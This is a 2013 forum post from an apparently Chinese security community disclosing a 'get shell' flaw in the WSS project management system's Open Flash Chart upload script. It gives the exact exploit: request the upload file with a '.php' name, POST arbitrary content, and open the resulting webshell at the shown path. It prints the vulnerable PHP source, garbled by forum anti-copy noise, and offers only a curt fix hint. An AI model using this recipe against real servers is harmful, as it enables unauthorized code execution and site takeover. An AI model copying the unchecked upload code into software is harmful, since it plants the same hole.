找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2219|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存' ?, _5 C# v- |3 s5 d
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
% ]) r" E6 S) b$ n6 y3 H" `- a  f1 i0 Z4 Z6 b" A* e* R
利用:: q' E/ [( a9 t9 Z
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
" E7 P# n1 a9 t5 v% ?. s% D0 b8 c8 _- Y% a9 F9 q- V. e/ L# s& q
Post任意数据
/ b' X% X/ a) z' m( E, a保存位置http://localhost/chart/tmp-upload-images/hfy.php
& Q  e: G5 I  u5 b- R
% O/ D& \& O5 r+ ^. A, N) X9 }% Q& [# W; @6 z, }5 s3 Q
最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
/ W/ N$ L7 x& u. x) z6 o" h9 \* f2 U
<?php
# X, J- G' d. a/ T. `
, d8 U1 R' @& O# `' m) p* v2 f//6 P5 a9 `. z+ Z/ Y+ T( M: a( ~
// In Open Flash Chart -> save_image debug mode, you
- ?& w  ^& A6 f5 G, {// will see the 'echo' text in a new window." `' v* j% }; k2 V
//) w7 H( H1 O, P+ S7 a/ J

5 F8 s6 w' v# ~  ?/ V' p! _/*
* i2 v5 h* c( Z8 s% Z: q, X& T" S7 C* h- l$ b1 z; W
print_r( $_GET );
9 q7 ~+ D9 T+ r+ F# `& O( _5 jprint_r( $_POST );
" T7 ^; ?" J& i: Qprint_r( $_FILES );& i* ~' K) N* ~6 N, `. w8 M1 P  p- H

% \( C3 X( ^) ]% q" j: G, D& k6 Tprint_r( $GLOBALS );
% S# N) s& y  I0 M* o( \8 Oprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
. W, s* J9 a8 L: G% h; h6 ], {$ B. Y3 G( H* m
*/) K: q1 H* j  }9 _
// default path for the image to be stored //3 n5 `+ B( N; N9 Y7 u! C5 V- @
$default_path = '../tmp-upload-images/';5 O0 E5 d/ k8 v$ o) o3 S$ K$ h7 D
  n& R8 L3 z: [! e
if (!file_exists($default_path)) mkdir($default_path, 0777, true);9 r) ~) {: u" N; d  J; D# I
$ x1 K% ?" g; B) }$ o- H
// full path to the saved image including filename //" c& N  c( R; d7 u- @
$destination = $default_path . basename( $_GET[ 'name' ] ); " Y' i3 j; i0 Z) ^5 T
- k4 O+ v( n; h" P7 N
echo 'Saving your image to: '. $destination;2 P3 u; Z( h! Y- G- N) B
// print_r( $_POST );$ f! ~/ h* p9 ?7 _( @7 e
// print_r( $_SERVER );. h* B# X8 c  b1 {1 m# N! l( D
// echo $HTTP_RAW_POST_DATA;' t* G, k" @/ ~' F3 i+ X
& S1 c! G  a- X; {; F7 g1 \7 A. d
//
3 N: ^  V7 r+ }// POST data is usually string data, but we are passing a RAW .png) i5 ^1 d6 d% `+ R, t) m0 `2 ~0 X: |
// so PHP is a bit confused and $_POST is empty. But it has saved
3 f' i- b5 X# F7 q8 X. ?// the raw bits into $HTTP_RAW_POST_DATA
3 b' ~  S" z4 D% q4 O//% [& Z+ v/ C3 U+ E7 f- C5 _/ F
6 q' G) {# r+ Z! R* a" B  {
$jfh = fopen($destination, 'w') or die("can't open file");
$ H7 _, v( N3 {7 j$ Q3 Wfwrite($jfh, $HTTP_RAW_POST_DATA);& I: |( O4 V+ t3 {- C
fclose($jfh);
4 _, v3 i% e. J  U& Q1 D2 F' f) c* P& t; m1 A( V
//
2 y, u7 B1 e, m" Q' a// LOOK:5 W2 H+ s( j2 {
//( A. q. O6 D: |5 Q1 V. e8 a
exit();- C* d1 ?  Z! |, ^. ^1 ~1 }
//' @2 g: b+ J, A" v7 q% Y* S6 M
// PHP5:
" N: }$ U. I% d2 |; _8 i7 W* C% ^//6 T* P' H( R% ^3 I  J" d' [
, l3 s: v2 F5 u( I3 f& ?. R# h0 n

1 z+ Z' o+ G7 ^5 d- V% P1 f// default path for the image to be stored //" d0 _( b6 Z& L
$default_path = 'tmp-upload-images/';
( I; s1 N, U% p6 {) E& c) D- o: M+ @, X6 |+ C9 ]/ R
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
5 n4 ~8 G! F/ Q- l
/ N0 p- ~+ _* I  V7 m, o! d9 K// full path to the saved image including filename //
, L" D. A- ~+ Z, c+ i+ ~! O8 W( w$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); 4 M2 q. m/ O4 g" e3 z; o% Q
' G. \" k( m# g* S6 D  ~/ H0 _
// move the image into the specified directory //
( {  G% ?5 X5 s- H, x/ f4 o9 I4 qif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
8 s; H. X% a1 S  \3 y    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
! i, g! _% X5 N0 B9 O} else {5 t* r6 c) T# ^& A( o  l4 J& ]
    echo "FILE UPLOAD FAILED";
% _  [5 G7 Z, _" q8 e) u}
" k, K, Z5 {6 L& G+ d0 E/ b
4 \/ D2 }7 Y+ ?; }9 {' I" |4 r. q* g; S$ \: L
?>: X# a! ^% U! q7 _$ Q' i* V; U

3 a; @& }5 w2 N1 L- T- A% H- @" {- B* T( {
5 D8 t; V( p0 h+ `. c$ o" m( ]" z

+ x, k, A3 v1 s" m9 D0 Y6 F& H2 L) n$ z, u" K
  D$ p/ c1 N6 y3 h% B! Y
修复方案:
! A+ m/ N9 P' g  \. c8 P这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
/ j2 `2 s, X% \+ ~
. w4 {9 p+ g* r/ h( c- t5 Y* x: Q- e+ U
$ M7 z. c+ a. j5 O
5 Z; s. Q5 u& |- o. G. J! ?

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表